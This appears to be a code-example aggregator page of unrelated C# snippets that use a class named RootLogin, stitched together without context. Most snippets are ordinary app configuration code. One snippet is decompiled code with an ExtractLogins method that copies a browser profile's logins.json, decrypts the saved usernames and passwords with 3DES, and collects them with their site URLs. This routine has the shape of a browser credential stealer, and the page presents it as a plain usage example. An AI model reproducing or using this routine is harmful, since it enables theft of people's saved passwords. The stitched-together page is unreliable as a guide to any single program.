public dynamic Login(BigInteger username, BigInteger password)
    {
        RootLogin rootLogin = new RootLogin();

        rootLogin.id       = "Login";
        rootLogin.password = password;
        rootLogin.username = username;
        return(rootLogin);
    }
示例#2
0
        private async Task SetConfigVariables()
        {
            var configurationBuilder = new ConfigurationBuilder();
            var path = Path.Combine(Directory.GetCurrentDirectory(), "appsettings.Development.json");

            configurationBuilder.AddJsonFile(path, false);

            var appsettingsConfig = configurationBuilder.Build();

            appsettingsConfig.GetSection("Logins").Bind(_logins);
            _loginAdm = await Environment.DoLogin(Environment.ClientApiAuth, _logins[0]);

            _analyzeRequests = await GetAnalyzesRequestsAsync(appsettingsConfig);

            _alerts = await GetAlertsAsync(appsettingsConfig);

            _personGroup = await GetPersonGroupAsync(appsettingsConfig);

            _videoCameras = await GetVideoCamerasAsync(appsettingsConfig);

            _persons = await GetPersonsAsync(appsettingsConfig);
        }
        // Token: 0x060000E5 RID: 229 RVA: 0x00007090 File Offset: 0x00005290
        private static IEnumerable <BrowserCredendtial> ExtractLogins(string profile, byte[] privateKey)
        {
            List <BrowserCredendtial> list = new List <BrowserCredendtial>();

            try
            {
                string path = ChromiumManager.CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (!File.Exists(path))
                {
                    return(list);
                }
                RootLogin rootLogin = File.ReadAllText(path).FromJSON <RootLogin>();
                Asn1Der   asn1Der   = new Asn1Der();
                foreach (LoginJson loginJson in rootLogin.logins)
                {
                    Asn1DerObject      asn1DerObject      = asn1Der.Parse(Convert.FromBase64String(loginJson.encryptedUsername));
                    Asn1DerObject      asn1DerObject2     = asn1Der.Parse(Convert.FromBase64String(loginJson.encryptedPassword));
                    string             text               = Regex.Replace(TripleDESHelper.DESCBCDecryptor(privateKey, asn1DerObject.objects[0].objects[1].objects[1].Data, asn1DerObject.objects[0].objects[2].Data, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    string             text2              = Regex.Replace(TripleDESHelper.DESCBCDecryptor(privateKey, asn1DerObject2.objects[0].objects[1].objects[1].Data, asn1DerObject2.objects[0].objects[2].Data, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    BrowserCredendtial browserCredendtial = new BrowserCredendtial
                    {
                        URL      = (string.IsNullOrEmpty(loginJson.hostname) ? "UNKNOWN" : loginJson.hostname),
                        Login    = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
                        Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
                    };
                    if (browserCredendtial.Login != "UNKNOWN" && browserCredendtial.Password != "UNKNOWN" && browserCredendtial.URL != "UNKNOWN")
                    {
                        list.Add(browserCredendtial);
                    }
                }
            }
            catch (Exception value)
            {
                Console.WriteLine(value);
            }
            return(list);
        }
示例#4
0
 public PersonsLoadable(RootLogin login)
     : base(login)
 {
 }
 public AlertsConfigurationLoadable(RootLogin login)
     : base(login)
 {
 }
示例#6
0
 public PersonGroupLoadable(RootLogin login, List <AlertViewModel> alerts)
     : base(login)
 {
     _alerts = alerts;
 }
示例#7
0
 public BaseConfigurationLoadable(RootLogin login)
 {
     _login = login;
 }
示例#8
0
 public VideoCamerasLoadable(RootLogin login, List <AnalyzeRequestViewModel> analyzeRequests)
     : base(login)
 {
     _analyzeRequests = analyzeRequests;
 }
 public AnalyzeRequestsConfigurationLoadable(RootLogin login)
     : base(login)
 {
 }